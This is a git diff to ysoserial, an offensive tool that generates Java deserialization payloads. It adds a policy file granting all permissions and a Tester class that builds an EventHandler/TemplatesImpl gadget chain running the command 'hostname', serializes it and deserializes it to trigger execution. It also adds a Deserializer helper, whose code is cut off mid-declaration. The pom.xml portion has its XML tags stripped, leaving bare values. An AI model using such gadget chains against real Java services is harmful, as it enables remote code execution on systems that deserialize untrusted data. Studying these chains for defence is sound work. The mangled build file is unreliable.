diff --git a/all.policy b/all.policy
new file mode 100755
index 0000000..c26e27b
--- /dev/null
+++ b/all.policy
@@ -0,0 +1,3 @@
+grant {
+ permission java.security.AllPermission;
+};
\ No newline at end of file
diff --git a/pom.xml b/pom.xml
index ee5cf36..7523eaa 100644
--- a/pom.xml
+++ b/pom.xml
@@ -4,7 +4,7 @@
ysoserial
ysoserial
- 0.0.2-SNAPSHOT
+ 0.0.3-SNAPSHOT
jar
ysoserial
@@ -22,15 +22,15 @@
3.2
1.5
- 1.5
+ 1.5
maven-assembly-plugin
${project.artifactId}-${project.version}-all
- false
-
+ false
+
ysoserial.GeneratePayload
@@ -53,7 +53,7 @@
-
+
@@ -93,7 +93,7 @@
javassist
3.19.0-GA
-
+
@@ -105,7 +105,7 @@
org.apache.commons
commons-collections4
4.0
-
+
org.apache.commons
commons-lang3
diff --git a/src/main/java/Tester.java b/src/main/java/Tester.java
new file mode 100755
index 0000000..f60cb10
--- /dev/null
+++ b/src/main/java/Tester.java
@@ -0,0 +1,97 @@
+import java.beans.EventHandler;
+import java.io.Serializable;
+import java.lang.reflect.Constructor;
+import java.lang.reflect.Field;
+
+import javassist.util.proxy.ProxyFactory;
+
+import javax.xml.transform.Templates;
+
+import sun.misc.Unsafe;
+import ysoserial.Deserializer;
+import ysoserial.Serializer;
+import ysoserial.payloads.util.Gadgets;
+
+
+public class Tester {
+ public static class Foo {
+ public boolean value() {
+ System.out.println("called");
+ return true;
+ }
+ }
+
+ public static void main(String[] args) throws Exception {
+
+// Transient t = Gadgets.createProxy((InvocationHandler) Reflections.getFirstCtor(Gadgets.ANN_INV_HANDLER_CLASS).newInstance(Transient.class, new HashMap()), Transient.class);
+//
+// t.equals(new Foo());
+
+
+ ProxyFactory pf2 = new ProxyFactory();
+ ProxyFactory pf = new ProxyFactory();
+
+ pf.setInterfaces(new Class[]{ Serializable.class });
+ pf.setSuperclass(EventHandler.class);
+ pf.setUseWriteReplace(true);
+ pf.setUseCache(false);
+
+ // public EventHandler(Object target, String action, String eventPropertyName, String listenerMethodName) {
+
+
+ Templates t = Gadgets.createTemplatesImpl("hostname");
+
+ Class c = pf.createClass();
+
+ Constructor ctor = c.getConstructors()[0];
+ ctor.setAccessible(true);
+
+ Object o = ctor.newInstance(t, "getOutputProperties", null, null);
+
+
+ //Object o = getUnsafe().allocateInstance(c);
+
+ //Object o = c.newInstance();
+
+// System.out.println(pf);
+// System.out.println(pf.hashCode());
+// System.out.println(c);
+ System.out.println(c.getName());
+ System.out.println(o.getClass().getName());
+// System.out.println(o);
+// System.out.println(Arrays.asList(c.getInterfaces()));
+
+ byte[] serialized = Serializer.serialize(o);
+//
+//// System.out.write(serialized);
+//
+ try {
+ Object o2 = Deserializer.deserialize(serialized);
+ //System.out.println(o2);
+ System.out.println(o2.getClass());
+ System.out.println(o2.getClass().getName());
+
+ o2 = Deserializer.deserialize(serialized);
+ System.out.println(o2.getClass());
+ System.out.println(o2.getClass().getName());
+
+ o2 = Deserializer.deserialize(serialized);
+ System.out.println(o2.getClass());
+ System.out.println(o2.getClass().getName());
+ } catch (Exception e) {
+ e.printStackTrace();
+ }
+
+
+ getUnsafe().allocateInstance(Class.class);
+
+ }
+
+ public static Unsafe getUnsafe() {
+ try {
+ Field f = Unsafe.class.getDeclaredField("theUnsafe");
+ f.setAccessible(true);
+ return (Unsafe)f.get(null);
+ } catch (Exception e) { throw new RuntimeException(e); }
+ }
+}
diff --git a/src/main/java/ysoserial/Deserialize.java b/src/main/java/ysoserial/Deserialize.java
deleted file mode 100644
index 64d2d65..0000000
--- a/src/main/java/ysoserial/Deserialize.java
+++ /dev/null
@@ -1,18 +0,0 @@
-package ysoserial;
-
-import java.io.File;
-import java.io.FileInputStream;
-import java.io.IOException;
-import java.io.InputStream;
-
-import ysoserial.payloads.util.Serializables;
-
-/*
- * for testing payloads across process boundaries
- */
-public class Deserialize {
- public static void main(final String[] args) throws ClassNotFoundException, IOException {
- final InputStream in = args.length == 0 ? System.in : new FileInputStream(new File(args[0]));
- Serializables.deserialize(in);
- }
-}
diff --git a/src/main/java/ysoserial/Deserializer.java b/src/main/java/ysoserial/Deserializer.java
new file mode 100755
index 0000000..7d61d17
--- /dev/null
+++ b/src/main/java/ysoserial/Deserializer.java
@@ -0,0 +1,34 @@
+package ysoserial;
+
+import java.io.ByteArrayInputStream;
+import java.io.File;
+import java.io.FileInputStream;
+import java.io.IOException;
+import java.io.InputStream;
+import java.io.ObjectInputStream;
+import java.util.concurrent.Callable;
+
+public class Deserializer implements Callable